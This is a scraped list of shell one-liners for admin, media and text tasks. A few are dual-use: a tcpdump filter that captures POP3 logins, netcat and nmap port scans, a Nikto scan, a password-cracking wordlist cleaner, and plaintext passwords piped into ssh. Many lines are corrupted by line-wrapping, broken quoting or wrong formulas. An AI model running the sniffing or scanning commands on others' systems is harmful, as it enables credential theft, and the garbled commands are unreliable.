# Remove all .svn folders
find . -name .svn -print0 | xargs -0 rm -rf

# flush (not delete) frozen emails from exim's mail queue
exipick -zi | while read x ; do exim -dM "$x"; sleep 1;done

# Show the 1000*1000 and 1024*1024 size of HDs on system
for I in $(awk '/d[a-z]+$/ {print $4}' /proc/partitions); do sudo hdparm -I '/dev/'$I; done | grep 'device size with M'

# Get the total size (in human readable form) of all certain file types from the
current directory
find . -name 'pattern'| xargs du -hc

# Find installed packages that are not in the portage tree anymore.
for f in $(qlist -IC); do stat /usr/portage/"$f" > /dev/null; done

# Autofocus window after executing some command
function focus() { winID=`xprop -root |awk '/_NET_ACTIVE_WINDOW/ {print $5; exit
;}'`; $@; wmctrl -i -a $winID; }

# find an unused unprivileged TCP port
netstat -atn | perl -ane 'if ( $F[3] =~ /(\d+)/ ) { $x{$1}=1 } END{ print( grep
{!$x{$_}} 32768..61000)[0] . "\n" )}'

# read squid logs with human-readable timestamp
tail -f /var/log/squid/access.loc | ccze -CA

# Generate an XKCD #936 style 4 word password
shuf /usr/share/dict/words |grep "^[^']\{3,5\}$" |head -n4

# Lists open ports
netstat -antuw | egrep "([^\t])|(\tcp.*LISTEN)"

```

```

# Match non-empty lines
grep -v "^\\W$" <filename>

# Change open file descriptors limit.
ulimit -n <value>

# View firewall config including devices on linux w/netfilter
iptables -L -n -v

# Get the latest Geek and Poke comic
wget -q $(lynx --dump 'http://geekandpoke.typepad.com/' | grep '\\.a\\/' | grep '\\-pi' | head -n 1 | awk '{print $2}') -O geekandpoke.jpg

# Count words in a TeX/LaTeX document.
detex document.tex|wc -w

# Join all sequentially named files in the directory
x=(*.001); cat "${x%.001}.*" > "${x%.001}" #unsafe; does not check that all the
parts are there, or that the file-sizes make sense!

# View video cam from remote machine during ssh session
xawtv -remote -bpp 16 -noxv-video -geometry 160x120 -device /dev/video0

# Get Interface's IP on Mac
ipconfig getifaddr <Interface>

# Kill multiple Locked connection by a single user in MYSQL DB
for i in `mysqladmin -h x.x.x.x --user=root -pXXXX processlist | grep <<username
>>| grep <<Locked>>| awk {'print $2'}` do mysqladmin -h x.x.x.x --user=root -pXX
X kill $i; done;

# Print a row of 50 hyphens
awk 'BEGIN{while (a++<50) s=s "-"; print s}'

# How to use rysnc over ssh tunnel
sshpass -p [password] rsync -av -e ssh [utente]@[indirizzop]:/directorydacopiar
e/ /directorydidestinazione

# Rescan partitions on a SCSI device
echo "w" | fdisk /dev/sdb

# Remove all .svn folders
shopt -s globstar; rm -rfv **/*.svn

# Display CPU usage in percentage
ps aux | awk {'sum+=$3;print sum'} | tail -n 1

# Change a text files contents without opening it, or intermediate files.
print 'g/'delete this line'/delete\nwq' | ex file.txt

# Print a row of 50 hyphens
jot -s '' -b '-' 50

# List alive hosts in specific subnet
for ip in `seq 1 255`; do ping -c 1 192.168.1.$ip ; done | grep ttl

# bash alias for sdiff: differ
alias differ='sdiff --suppress-common-lines $1 $2'

```

```

# Ranking of the most frequently used commands
history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | s
ort -n | tail | sort -nr

# Backup a file with a date-time stamp
buf() { f=${1%.*};e=${1/$f/};cp -v $1 $f-$(date +"%Y%m%d_%H%M%S")$e;}

# List 50 largest source files in a project
find . -type f -name '*.pm' -printf '%6s %p\n' | sort -nr | head -n 50

# most changed files in domains by rdiff-backup output
cat /backup/hd7/rdiff-log.txt |grep Processing | awk '{ print $4 }' | sed -e 's/
\\// /g' | awk '{ print $1 }' |uniq -c |sort -n

# Transfers clipboard content from one OS X machine to another
pbpaste | ssh user@hostname pbcopy

# securely overwrite a file with random junk, rename it to clear the directory e
ntry and finally delete it
shred -vzu /tmp/junk-file-to-be-shredded

# List the CPU model name
sed -n 's/^model name[ \t]*: *//p' /proc/cpuinfo

# Finding all numbers that are bigger then 1 in vim
/^\([2-9]\d*\|1\d+\)

# Delete Mailer-Daemon messages
mailq | grep MAILER-DAEMON | awk ?{print $1}? | tr -d ?? | postsuper -d -

# Ranking of the most frequently used commands
history | awk '{print $2,$3}' | sed s/sudo// | awk '{print $1}' | awk 'BEGIN {FS
="|"}{print $1}' | sort | uniq -c | sort -n | tail | sort -nr

# Converting your Xfig 'fig' files to 'eps' and others
fig2dev -L eps file.fig file.eps

# Pipe stdout to image and mail
gotxt2imgmail() { if [ $# != 1 ]; then echo 'gotxt2imgmail < email >'; return; f
i; e="$1"; f=$RANDOM.png; convert label:@- $f; echo "" | mailx -s $f -a $f $e }

# Adding kernel boot parameters after loading kernel and initrd
echo "root=/dev/sda7" > /proc/param.conf

# transpose a file
awk '{ for (f = 1; f <= NF; f++) a[NR, f] = $f } NF > nf { nf = NF } END {
for (f = 1; f <= nf; f++) for (r = 1; r <= NR; r++) printf a[r, f] (r==NR ?
RS : FS) }'

# Determine configure options used for MySQL binary builds
cat `whereis mysqlbug` | awk '{print $2}' | grep 'CONFIGURE_LINE='

# diff from last committed revision in Mercurial
hg diff -r$(`hg -q par | cut -d":" -f1`-1)

# a simple bash one-liner to create php file and call php function
echo '<?php echo str_rot13 ("Hello World\n") ?>' | php

# Show the most commonly used commands from .bash_history

```

```

cut -f1 -d" " ~/.bash_history | sort | uniq -c | sort -nr | head -n 30

# Use socat to wrap around your pty to enter the password.
(sleep 3; echo "MyAwesomePassword"; sleep 3) | socat - EXEC:'ssh username@server
"hostname"',pty,setsid,ctty

# Get ethX mac addresses
ip link show eth0 | grep "link/ether" | awk '{print $2}'

# Print a row of 50 hyphens
echo - | sed -e :a -e 's/^\.{1,50\}$/&-/;ta'

# prepare unicode text saved from Microsoft Excel 2003 for unix console
iconv -f UTF16LE -t UTF-8 < SOURCE | awk 'BEGIN { RS="\r\n"; } { gsub("\n", "\r")
; print;}' > TARGET

# Get readline support for the sqlplus command.
socat READLINE EXEC:'sqlplus',pty,setsid,ctty

# Download all files of a certain type with wget.
wgetall () { wget -r -l2 -nd -Nc -A.$@ $@ }

# Make bash look like DOS
export PS1='C:${PWD//\\//\\}>'

# Send an http HEAD request w/curl
curl -i -X HEAD http://localhost/

# use sed to simulate rpad and lpad
ls / | sed -e :a -e 's/^\.{1,15\}$/&_/;ta'

# Get the headlines of an atom feed
atomtitles () { curl --silent $1 | xmlstarlet sel -N atom="http://www.w3.org/200
5/Atom" -t -m /atom:feed/atom:entry -v atom:title -n}

# Get ethX mac addresses
ifconfig | awk '/HW/ {print $5}'

# Reload an open file in emacs
C-x C-v, Enter

# Geolocate a given IP address
ip2loc() { wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_1
blICountry\">" | sed 's/<[^>]*>//g; s/^[\\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g;
s/&amp;/\&/g'; }

# Backup a file with a date-time stamp
buf() { cp -v $1 ${1/${1%%.*}/$f-$(date +"%Y%m%d_%H%M%S")}; }

# Run previous same command in history
<comand> && !<command>

# find the delete file ,which is in use
lsof -n |grep delete

# Sort the current buffer in vi or vim.
:1,$!sort

# Unzip and untar a *.tar.gz file in one go
tar -zxvf file.tar.gz

```

```

# dd with progress bar and statistics
dd if=FILE | pv -s $(stat FILE | egrep -o "Size: [[:digit:]]*" | egrep -o "[[:digit:]]*" ) | dd of=OUTPUT

# convert uppercase filenames in current directory to lowercase
for x in *;do mv "$x" "`echo $x|tr [A-Z] [a-z]`";done

# List all background image URLs referenced in CSS files in directory and subdirectories
ack -o -h --nogroup --css 'url\((.*)\)' --output "\$1"

# Command to rename multiple file in one go
find / -name "*.xls" -print0 | xargs -0 rename .xls .ods {}

# my command for downloading delicious web links,
wget -H -r -nv --level=1 -k -p -erobots=off -np -N --exclude-domains=delicious.us,doubleclick.net --exclude-directories=

# Print sorted count of lines
alias sucs="sort | uniq -c | sort -n"

# python one-liner to get the current week number
python -c 'import datetime; print(datetime.date.today().isocalendar()[1])'

# Check the package is installed or not. There will show the package name which is installed.
apt-show-versions | grep '\bpython\b'

# find the rpm package name that provides a specific file
rpm -q --whatprovides $filename

# A bash function to show the files most recently modified in the named (or current) directory
function t { ls -ltch $* | head -20 ; }

# Get ethernet card information.
ethtool eth0

# Define words with google. (busybox version)
wget -q -U busybox -O- "http://www.google.com/search?ie=UTF8&q=define%3A$1" | tr '<' '\n' | sed -n 's/^li>\(.*\)\/\1\n/p'

# Indent all the files in a project using emacs
lst=`find . -iname \*.c -or -iname \*.h`; for i in $lst; do emacs -nw -q $i --eval "(mark-whole-buffer)" --eval "(indent-region (point-min) (point-max) nil)" --eval "(save-buffer)" --kill; done

# multimedia ping
continuar=true; while $continuar; do if ping -c 3 [target_IP_address] 2>&1> /dev/null ; then mplayer [sound_file]; continuar=false; break; fi; done

# Show package dependencies with apt
apt-cache depends <packagename>

# Monitoring a port connections
watch -n1 'netstat -tn | grep -P :22'

```

```

# Strip out Hungarian notation from a PHP file
cat file.php | perl -p -e 's/(\$|->)(str|arr|obj|int|flt|boo|bool|mix|res) ([A-Z])/\$1\L\$3/g'

# Use the page up key to complete the command.
echo "\"\e[5~\": history-search-backward" >> ~/.inputrc

# Show the ordered header line (with field names) of a CSV file
function headers { head -1 $* | tr ',' '\12' | pr -t -n ; }

# Move all files untracked by git into a directory
git clean -n | sed 's/Would remove //; /Would not remove/d;' | xargs mv -t stuff /

# Open the last modified file of a certain type
open-command $(ls -rt *.type | tail -n 1)

# Find, Replace, Write & Remove First 5 Lines
variable="foo" && sed 's/bar/'$variable'/g' $variable.conf >> $variable.temp &&
sed '1,5d' $variable.temp && mv $variable.temp $variable.conf

# Show package reverse dependencies with apt
apt-cache rdepends <packagename>

# Generate an XKCD #936 style 4 word password
perl -F'\s+' -anE 'push @w,$F[1];END{$r.=splice @w,rand @w,1 for(1..4);say $r}'
diceware.wordlist.asc

# Convert an ssh2 public key to openssh format
ssh-keygen -i -f $sshkeyfile >> authorized_keys

# Recursively replace a string in files with lines matching string
for i in `find . -type f`; do sed -i '/group name/s/>/ deleteMissing="true">/' $i; done

# backup home dir exclude dot files
tar --exclude=".*" -zcvf ./home_backup_2008.tar.gz my_home

# lotto generator
seq -w 50 | sort -R | head -6 |fmt|tr " " "-"

# Get version values (ProductName, ProductVersion, BuildVersion) for Mac OS X
sw_vers [-productName|-productVersion|-buildVersion]

# un-escape URL/URIs with Ruby
echo 'example.com%2Fsome%2Fpath' | ruby -r'cgi' -e 'puts CGI.unescape(STDIN.read)'

# mkdir some file and mv some file
for i in `seq 100`; do mkdir f${i}; touch ./f${i}/myfile${i} ;done

# Create files of arbitrary size in Windows
fsutil file createnew FILENAME filesize(inbytes)

# vim insert current filename
:r! echo %

# Convert a VMWare screencast into a flv file
mencoder -of avi -ovc lavc movie.avi -o movie2.avi; ffmpeg -i movie2.avi -r 12

```



```

-b 100 movie.flv

# Remove branches that no longer exist from being shown via 'git branch -a'
git remote prune origin

# List contents of jar
LESSOPEN="| /usr/bin/lesspipe %s" less file.jar

# Find Files over 20Meg
find . -type f -size +20000k -print0 | xargs -0 du -h | awk -F"\t" '{printf "%s\n": %s\n", $2, $1}'

# Find processes by current user on a Solaris box
ps -u ` /usr/xpg4/bin/id -u `

# Remove CVS root files under current directory
find . -name Root -print | xargs rm -f

# Read just the IP address of a device
/sbin/ifconfig | awk -F'[ :]+' '/inet addr/{print $4}'

# Find UTF-8 text files misinterpreted as ISO 8859-1 due to Byte Order Mark (BOM)
of the Unicode Standard.
find -type f |while read a;do [ "`head -c3 -- "${a}"`" == '$'\xef\xbb\xbf' ] && echo "Match: ${a}";done

# convert chinese character into wubi86 input code
echo Your_Chinese_Char | uniconv -encode Chinese-WB

# Get movie length
mplayer -vo null -ao null -frames 0 -identify movie.avi | awk '{FS="="}; /ID_LEN
GTH/{ H=int($2/3600); M=int(($2-H*3600)/60); S=int($2%60); printf "%d:%02d:%02d\n",H,M,S}'

# get biggest directories
du -kh --max-depth=1 | sort -n |head

# Check variable has been set
isdef() { eval test -n "\${$1+}" }; }

# conver mp3 to m4b
mpg123 -s input.mp3 | faac -P -X -w -o output.m4b -

# get value after comma from an arithmetic operation
echo "scale=6;2048 / 2.345" | bc

# Indent all the files in a project using emacs
find . -iname \*.c -or -iname \*.h -exec emacs -nw -q {} --eval "(progn (mark-wh
ole-buffer) (indent-region (point-min) (point-max) nil) (save-buffer))" --kill \
;

# Reading my nic's mac address
ifconfig | grep HWaddr

# Speed up builds and scripts, remove duplicate entries in $PATH. Users scripts
are often bad: PATH=/apath:$PATH type of thing cause duplicate.
glu() { (local IFS="$1"; shift && echo "$*") }; repath() { ( _E=`echo "${PATH//:
/$'\n'}`" | awk '!x[$0]++'; glu ":" $_E ) ; } ; PATH=`repath` ; export PATH

# Merge PDFs into single file

```

```

pdftk input1.pdf input2.pdf cat output output.pdf

# Remove all untracked files/directories from the working tree of a git repository.
git clean -dfx

# Repeat a portrait eight times so it can be cut out from a 6
montage input.jpg -auto-orient -duplicate 7 -geometry 500 -frame 5 output.jpg

# Go to man section of bash builtins
man () { if [[ $(type ${1}) =~ "is a shell builtin" ]]; then; /usr/bin/man -P "/usr/bin/less -iRs --pattern=\"^ *${1}\"" bash; else; /usr/bin/man ${1}; return; fi; }

# Tar a directory and its sub-directory
tar cvfz dir_name.tar.gz dir/

# sort selected lines in a text file to the beginning or end of the file.
2end () ( export LC_ALL=C; nl -n rz $1 > $1.tmp; ${EDITOR:-vi} $1.tmp; sort $1.tmp | sed -r 's/^\.[0-9]+\t+//' > $1; rm $1.tmp; )

# Setting gdb in memory allocation debugging mode under MAC OS X
set env DYLD_INSERT_LIBRARIES = /usr/lib/libgmalloc.dylib;b szone_error

# Sum file sizes
find . -type f -printf %s\n | paste -sd+ | bc

# Generate soothing noise
/usr/bin/play -q -n synth brown band -n 1200 200 tremolo 0.05 80

# Get all files of particular type (say, PDF) listed on some webpage (say, example.com)
curl -s http://example.com | grep -o -P "<a.*href.*>" | grep -o "http.*.pdf" | xargs -d"\n" -n1 wget -c

# svn diff ignore whitespace
svn diff --diff-cmd diff -x -uw /path/to/file

# Extract the contents of an RPM package to your current directory without installing them.
rpm2cpio /path/to/file.rpm | cpio -i -d

# Fix UTF-8 text files misinterpreted as ISO 8859-1 due to Byte Order Mark (BOM) of the Unicode Standard.
perl -i -pe 's/\xef\xbb\xbf//g' <file>

# Print a row of 50 hyphens
python -c 'print "-" * 50'

# Python: Quickly locate site-packages
python -c "from distutils.sysconfig import get_python_lib; print get_python_lib()"

# Scrape all RBLs off the anti-abuse.org site
lynx -dump http://www.anti-abuse.org/multi-rbl-check/ | grep '|' | awk -F\] '{ print $2 }' | sed '/^\[/d' | egrep -v ^[A-Z]

# Convert a videos audio track to ogg vorbis.
INPUT=<input_video> && ffmpeg -i "$INPUT" -vn -f wav - | oggenc -o ${INPUT%.*}

```

.ogg -

```
# Check if variable is a number
echo $X | egrep "^[0-9]+$"
```

```
# Revert all modified files in an SVN repo
svn st | grep -e '^M' | awk '{print $2}' | xargs svn revert
```

```
# Notify on Battery power
NotifyOnBATTERY () { while ;; do on_ac_power||notify-send "Running on BATTERY";
sleep 1m; done }
```

```
# Get current connected wireless network with nm-tools
nm-tool 2>/dev/null|sed -n '/Type:[ ]*802.11 WiFi/,/IPv4 Settings/{ /State:[ ]*c
onected/,/IPv4 Settings/{ s/^[ ]*//;/^\*.Infra/ { s/^*//;s/.*//;p }}}'
```

```
# Show the changed files in your GIT repo
git status | perl -F'\s' -nale 'BEGIN { $a = 0 }; $a = 1 if $_ =~ /changed but n
ot updated/i; print $F[-1] if ( $a && -f $F[-1] )'
```

```
# Forensic tool to find hidden processes and ports
unhide (proc|sys|brute)
```

```
# List and count the number of open sessions per user
users | xargs -n1 echo | sort | uniq -c
```

```
# Put a console clock in top right corner
while true; do tput sc; tput cup 0 $(($(tput cols)-74)); w | grep load; tput rc;
sleep 10; done &
```

```
# have tar decide compression based on filename
tar -caf some_dir.tar.xz some_dir
```

```
# Adding leading zeros to a filename (1.jpg -> 001.jpg)
rename.ul "" 00 ?.jpg; rename "" 0 ??.jpg;
```

```
# hours before the time()==1234567890
echo $(( (1234567890 - `date -u +%s`) / 60 / 60 ))
```

```
# Outputs a 10-digit random number
head -c10 <(echo $RANDOM$RANDOM$RANDOM)
```

```
# Get current Xorg resolution via xrandr
xrandr -q | awk -F'current' -F',' 'NR==1 {gsub("( |current)","");print $2}'
```

```
# Display environment vars only, using set
alias sete='set|sed -n "/^`declare -F|sed -n "s/^declare -f \(.*\)/\1 ()/p;q"/q
;p''
```

```
# Print sorted list of all installed packages (Debian)
aptitude search -F "%p" --disable-columns ~i
```

```
# Search recursively to find a word or phrase in certain file types, such as C c
ode
find . -iname '*.php' | xargs grep "searh string" -sl
```

```
# Add a newline to the end of a cpp file
find . -iname "*.cpp" -exec perl -ni -e 'chomp; print "$_\n"' {} \;
```

```

# Monitor a file's size
while [ 1 ]; do du /var/log/messages;sleep 60; done

# Fetch the Gateway Ip Address
/sbin/route -n | grep "^0\.0\.0\.0" | awk '{ print $2 }'

# Converts uppercase chars in a string to lowercase
echo StrinG | tr 'A-Z' 'a-z'

# Comment out all lines in a configuration file matching a regexp, creating a backup.
mv -i something.conf{,~} && sed "/regexp/s/^/#/" < something.conf~ > something.conf

# replace one of the octates of an IP
i=3; echo 10.0.0.1 | sed "s/\([0-9]\{1,3\}\.\)\([0-9]\{1,3\}\.\)\([0-9]\{1,3\}\.\)\([0-9]\{1,3\}\)/\1\2\3i/g"

# Matched string reference in replacement text
echo "abcde" | sed 's/./& /g'

# which git tags include this commit?
git tag -l --contains 18f6f2 live*

# Find and delete thunderbird's msf files to make your profile work quickly again.
find ~/.thunderbird/*.default/ -name *.msf -delete

# Convert all Microsoft Word files in current directory to HTML.
for f in *.doc ; do wvHtml $f ${f%.doc}.html ; done

# Find out the starting directory of a script
mydir=$(cd $(dirname ${BASH_SOURCE:-$0});pwd)

# Backup entire system
cd / ; tar -cvpzf backup.tar.gz --exclude=/backup.tar.gz --exclude=/proc --exclude=/lost+found --exclude=/sys --exclude=/mnt --exclude=/media --exclude=/dev /

# shut of the screen ( Fool proof )
switchMonitor () { LF=/tmp/screen-lock; if [ -f $LF ]; then rm $LF; else touch $LF; sleep .5; while [ -f $LF ]; do xset dpms force off; sleep 2; done; fi };

# run zenity object on local machine for to insert video stream url to play on remote machine
lol=`zenity --entry` && DISPLAY=:0.1 cvlc -f -I ncurses --play-and-exit "$lol"

# Test quick help alias
alias testh='help test|sed -e :a -e "$!N;s/\(-n STRING\)\n/\1, /;s/\n(\ {23}\|\ {4}\|[a-z]\|)\ / \2;/ta;P;D"|sed "s/ \{1,\}/ /g;/^ $/d;/:$/s/^/\n/"|sed -n "/File operators:/,\$p"'

# SSH connection with private key and port 222
ssh -i /root/.ssh/username\@hostname -p 222 username@hostname

# ps with parent/child process tree
ps auxf

# Display the linux host information.
hostinfo.sh

```

```
# AIX: Determine what filesets are missing to reach a TL
instfix -icq | grep 5300-07_AIX_ML | grep ":-:"

# Easily create and share X screen shots (local webserver version)
scrot -e 'mv $f \$_HOME/public_html/shots/; echo "http://\$_HOSTNAME/~\$_USER/shots/$f" | xsel -i; feh `xsel -o`'

# how to run firefox in safe mode from command line
firefox --safe-mode

# Execute all SQL files in a directory
cat *.sql | mysql <db_name>

# run zenity object on local machine for select all directory file to play on remote machine
lol=`zenity --file-selection --directory` && DISPLAY=:0.1 cvlc -f -I ncurses --play-and-stop "$lol"

# 38468;24102;33410;20551;26085;21644;38452;21382;30340;21629;20196;34892;31243;24207;
gcal -i -s1 -qcn --chinese-months -cezk .

# Display the packages that contain the specified file.
dpkg -S file

# pev - Extract PE(.exe) version information in bash
pev winappfile.exe

# How to expire the password to force her change [Linux]
chage -d 0 -m 0 -M 60 [user]

# Output sound when your computer is downloading something
tcpdump | aplay -c 2

# Customizable Search Context
echo -n search\>\ ; read SEARCH_STRING && sed -n "/$SEARCH_STRING/{n;p;n;p;n;p;q}" [file-to-search]

# Activate the mandatory proxy under ubuntu
gconftool-2 --set "/system/http_proxy/use_http_proxy" --type boolean true

# How to check webserver by Nikto
nikto.pl -h yourwebserver

# Bash function to see what the day ends in
date +%A | cut -c $(( $(date +%A | wc -c) - 1 ))

# list all file extensions in a directory
ls -Xp /path/to/dir | grep -Eo "\.[^/]+$" | uniq

# find a particular string on an unmounted partition
hexdump -e '/1 "%02X "' -e '/1 "%c"' /dev/sda1 | less /mystring

# Displays the packages which contain the specified file.
dpkg -S locale.alias

# Generate Pascal's Triangle
for((r=1;r<10;r++));do v=1;echo -n "$v ";for((c=1;c<$r;c++));do v2=$((echo "$v * ($r-$c)/$c"));echo -n "$v2 ";v=$v2;done;echo;done
```

```

# How to expire the password to force her change [AIX]
pwdadm -f ADMCHG [user]

# unix2dos with awk
awk 'sub("$", "\r")' unixfile.txt > winfile.txt

# Clean a wordlist for use with password cracking tools and rules
cat dirtyfile.txt | awk '{gsub(/[[[:punct:]]/, "")}1' | tr A-Z a-z | sed 's/[0-9]*
//g' | sed -e 's/ //g' | strings | tr -cs '[:alpha:]' '\ ' | sed -e 's/ /\n/g' |
tr A-Z a-z | sort -u > cleanfile.txt

# check open ports (both ipv4 and ipv6)
netstat -plntu

# search manpages on the internets
manview() { lynx -dump -accept_all_cookies 'http://www.csuglab.cornell.edu/cgi-b
in/adm/man.cgi?section=all&topic="$1" | less; }

# Schedule Nice Background Commands That Won't Die on Logout - Alternative to no
hup and at
( trap '' 1; ( nice -n 19 sleep 2h && command rm -v -rf /garbage/ &>/dev/null &&
trap 1 ) & )

# Prints line numbers
awk '{print NR,$0}'

# Display the space used for all your mounted logical volume (LV)
df -kh /dev/vg0*/lv*

# Open Remote Desktop (RDP) from command line having a custom screen size
rdesktop -u <username> -p <password> -g 1366x724 -a 16 -D -z -P <servername / IP
Address>

# show how many twitter followers a user has
curl -s http://twitter.com/users/show.xml?screen_name=username | sed -n 's/<fol
lowers_count>\/p' | sed 's/<[^>]*>\/g;/</N;/b'

# How to Kill Process that is Running on Certain Port in Windows?
netstat -a -o -n | grep 8080

# Watch Weather Channel live video stream without a browser
vlc mms://twcilivewm.fplive.net/twcilive-live/twci_350

# grep on IP range from maillog
egrep '183\.[(0-9)|(1[0-6]|2[0-3])]' -J /var/log/maillog*

# Prints the second part of the hostname of a given database in /etc/sybase/inte
rfaces
awk '/^'$SEARCH'[ ]*$/ {getline; if ($1 ~ /query/) {split($4,a,".");print a[2]}}'
/etc/sybase/interfaces

# Mixing music in bash
( for((i=0;$i<100;i++))do echo volume $i 1; sleep 0.1s; done; )| mplayer -slave
-quiet sample.mp3

# multimedia ping
ping -a IP-ADDRESS

```

```

# Get duration of an audio file in seconds.
get_duration () { IFS=: read -r _ h m s _ < <(ffmpeg -i "$1" 2>&1 | grep Durati
on);echo $(( h * 360 + m * 60 + s )); }

# git log1 alias
git config --global alias.log1 "log --pretty=oneline --abbrev-commit"

# what the free memory grow or shrink
watch -d "free -mt"

# this toggles mute on the Master channel of an alsa soundcard
on="off"; off="on"; now=$(amixer get Master | tr -d '[' | grep "Playback.*%" | h
ead -n1 |awk '{print $7}'); amixer sset Master ${!now}

# Sniff ONLY POP3 authentication by intercepting the USER command
tcpdump -i eth0 "tcp port pop3 and ip[40] = 85 and ip[41] = 83" -s 1500 -n -w "
sniff"

# Convert a directory of pdfs into scaled down pngs
shopt -s nullglob; for i in $(find "Your/file/system" -name "*.pdf"); do e="$(di
rname $i)/$(basename $i '.pdf').png"; gs -sDEVICE=png16m -q -dPDFFitPage -g492x3
80 -dTextAlphaBits=4 -dGraphicsAlphaBits=4 -dNOSUBSTDEVICECOLORS -o $e $i; done

# Find .java files with high complexity (counting curly braces)
find src/ -name "*.java" | while read f; do echo -n "$f "; cat "$f" | tr -dc '{}
'; echo; done | awk '{ print length($2), $1 }' | sort -n

# Grep the process excluding the grep itself.
ps -ef | grep [t]clsh

# prints line numbers
perl -pe 'print "$. "' <file>

# File browser
xdg-open $(ls . | dmenu)

# print line and execute it in BASH
$ echo "command"; `!#:0-$

# Mark a directory as one where something failed
fail () { ln -s /nonexistent 0_FAIL_${1}; }

# set open firmware password command mode
/usr/local/bin/OFPW -mode 1

# Add all not committed files to svn
svn st | grep ^? | xargs svn add 2> /dev/null

# Scan your LAN for unauthorized IPs
diff <(nmap -sP 192.168.1.0/24 | grep ^Host | sed 's/\.appears to be up//g' | se
d 's/Host //g') auth.hosts | sed 's/[0-9][a-z,A-Z][0-9]$//' | sed 's/</UNAUTHORI
ZED IP -/g'

# When feeling boring this command help too
bb

# Poor man's unsort (randomize lines)
while read l; do echo $RANDOM "$l"; done | sort -n | cut -d " " -f 2-

# simple regex spell checker

```

```
< /usr/share/dict/words egrep onomatopoeia

# Zip a directory recursively, excluding some contained directories
zip -r new.zip dir_to_zip -x '*/dir_to_excludel/*' -x '*/dir_to_exclude2/*'

# Download 40 top funnyjunk Images to the current directory
curl -s --compressed http://funnyjunk.com | awk -F'"' '/ "mainpagetop24h"'
'/ { print "http://funnyjunk.com"$4 }' | xargs curl -s | grep -o 'ht.*m/pictures
/.*\.\jpg\|ht.*m/gifs/.*\.\gif' | grep "_....._" | uniq | xargs wget

# Rotate the X screen via xrandr
xrandr --output [youroutput] --rotate [right|left|normal] -d [yourdisplay]

# Top like mysql monitor
mytop --prompt

# Grep through the text of djvu files and format results
find ./ -iname "*.djvu" -execdir perl -e '@s=`djvutxt \"$ARGV[0]`\|grep -c Berl
ekamp`; chomp @s; print $s[0]; print " $ARGV[0]\n" ' {}' \; | sort -n

# resize all JPG images in folder and create new images (w/o overwriting)
ls *.JPG | cut -d . -f 1 | xargs -L1 -i convert -resize 684 {}.JPG {}.jpg

# Untar a directory in a tar file over ssh
cat tarfile.tar.gz | ssh server.com " cd /tmp; tar xvzf - directory/i/want"

# df output, sorted by Use% and correctly maintaining header row
df -h | grep -v ^none | ( read header ; echo "$header" ; sort -rn -k 5)

# port scan using parallel
seq 1 255 | parallel -j+0 'nc -w 1 -z -v 192.168.1.{} 80'

# Convert vcd to avi format
mencoder vcd://2 -o sample.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4

# Get number of users on a minecraft server
(echo -e '\xfe'; sleep 1) |telnet -L $HOSTIP 25565 2>/dev/null |awk -F'\xa7' '$2
{print "users: "$2/"$3;}'

# Need an ascii art font for you readme text ?
toilet -f big   ReadMe

# Poor man's ntpdate
date -s "$(echo -e "HEAD / HTTP/1.0\n" | nc www.example.com 80 | sed -ne 's/^Dat
e: \(.*)$/\1/p')"

# zsh variable behave like bash variable
setopt shwordsplit

# command line fu roulette
curl -sL 'www.commandlinefu.com/commands/random' | awk -F'</?[>]+>' '/"command"
/{print $2}'

# rsync a hierarchy but matching only one filename
rsync -avz --dry-run --include="only-include-this-filename" -f 'hide,! */' sourc
e/folder/ target/folder/

# Nmap find open TCP/IP ports for a target that is blocking ping
nmap -sT -PN -vv <target ip>
```



```

# check open ports (both ipv4 and ipv6)
lsof -i

# Open in TextMate Sidebar files (recursively) with names matching REGEX_A and not matching REGEX_B
mate - `find * -type f -regex 'REGEX_A' | grep -v -E 'REGEX_B'`

# Sort movies by length, longest first
for i in *.avi; do echo -n "$i:";mediainfo $i|head | grep PlayTime | cut -d: -f2 ; done | sort -t: -k2 -r

# Show demo of toilet fonts
find /usr/share/figlet -name *.*?lf -exec basename {} \; | sed -e "s/\..lf$//" | xargs -I{} toilet -f {} {}

# find co-ordinates of a location
findlocation() {place=`echo $@`; lynx -dump "http://maps.google.com/maps/geo?output=json&oe=utf-8&q=$place" | egrep "address|coordinates" | sed -e 's/^ *//' -e 's//g' -e 's/address/Full Address/';}

# Find the main file :D
find . -name "*.cpp" -exec grep -Hn --color=tty -d skip "main" {} \;

# Fetch all GPG keys that are currently missing in your keyring
gpg --list-sigs | sed -rn '/User ID not found/s/^sig.+([a-FA-F0-9]{8}).*/\1/p' | xargs -i_ gpg --keyserver-options no-auto-key-retrieve --recv-keys _

# Show Mac OS X version information
sw_vers

# Find a .jpg in Your Home-Directory and display it via eog. Not case sensitive.
....
eog $(find $HOME -iname ExamplePicture*.jpg)

# Convert ascii string to hex
echo -n 'text' | xxd -ps | sed 's/[[:xdigit:]]\{2\}/\x&/g'

# cd into the latest directory
alias cdl='cd $( ls -lt | grep ^d | head -1) '

# Extract an audio track from a multilingual video file, for a specific language
.
mencoder -aid 2 -oac copy file.avi -o english.mp3

# remove unnecessary architecture code from Mac OS X Universal binaries
ditto --arch i386 doubleTwist.app doubleTwist_i386.app

# View webcam output using GStreamer pipeline
gst-launch-0.10 autovideosrc ! video/x-raw-yuv,framerate=(fraction)30/1,width=640,height=480 ! ffmpegcolorspace ! autovideosink

# Poor man's ntpdate
date -s "`curl -sI www.example.com | sed -n 's/^Date: //p'`"

# Get a url, preview it, and save as text - with prompts
read -p "enter url:" a ; w3m -dump $a > /dev/shm/elq ; less /dev/shm/elq ; read -p "save file as text (y/n)?" b ; if [ $b = "y" ] ; then read -p "enter path with filename:" c && touch $(eval echo "$c") ; mv /dev/shm/elq $(eval echo "$c") ;

```

```

fi ; echo DONE

# Find the package a command belongs to on Gentoo
equery belongs $( which mv )

# Find all files over 20MB and print their names and size in human readable form
at
find / -type f -size +20000k -exec ls -lh {} \; | awk '{printf $9} {for (i=10;i
<=NF;i++) {printf " %i}} {print ": "$5}'

# Overcome Bash's expansion order
eval "mkdir test{$(seq -s, 1 10)}"

# Read/Write output/input from sed to a file
seq 20 | sed '5,6 { w out.txt }' #Can't print correctly. See sample output

# fomat/encode/escape xml
xml fo -e utf-8 file.xml | xml esc

# Prevent overwriting file when using redirection
set -o noclobber

# Update the working tree to the latest git commit
git log -g --pretty=oneline | grep ': commit' | awk '{print $1}' | head -1 | xa
rgs git checkout -f

# fix nvidia-settings display error
nvidia-settings -a AssociatedDisplays=0x00010000

